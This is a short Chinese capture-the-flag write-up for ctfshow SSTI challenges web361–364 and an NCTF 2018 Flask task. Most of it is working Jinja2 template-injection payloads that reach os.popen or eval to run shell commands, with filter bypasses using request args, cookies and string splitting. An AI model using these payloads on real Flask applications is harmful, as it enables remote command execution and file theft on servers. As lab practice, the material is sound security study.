CTFSHOW-SSTI
web361
?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
web362
?name={{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}
这里的x任意26个英文字母的任意组合都可以,同样可以得到__builtins__
然后用eval就可以了。
还可以用全角符号
?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
web363
过滤了单双引号,用request
?a=os&b=popen&c=cat /flag&name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}
web364
get、post都不行,尝试一下cookie
get
?name={{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}
cookie
a=os;b=popen;c=cat /flag
[NCTF 2018]flask真香
别问为什么插了一道NSS的题(题目真香)
首先进入题目,右下角点别的有个报错界面,尝试ssti注入
{{7*7}}
返回49
接着绕
{{()['__cla''ss__'].__bases__[0]['__subcl''asses__']()[117].__init__.__globals__['__buil''tins__']['ev''al']("__im""port__('o''s').po""pen('cat /T*').read()")}}
直接来吧,过滤了一堆
主要是拼接绕过,让我再去看看大佬有没有别的方法
找到一个找子类好用的脚本(发现之前的内个用不了
标签:__,cookies,set,join,attr,request,SSTI,CTFSHOW From: https://www.cnblogs.com/solitude0-c/p/17616144.html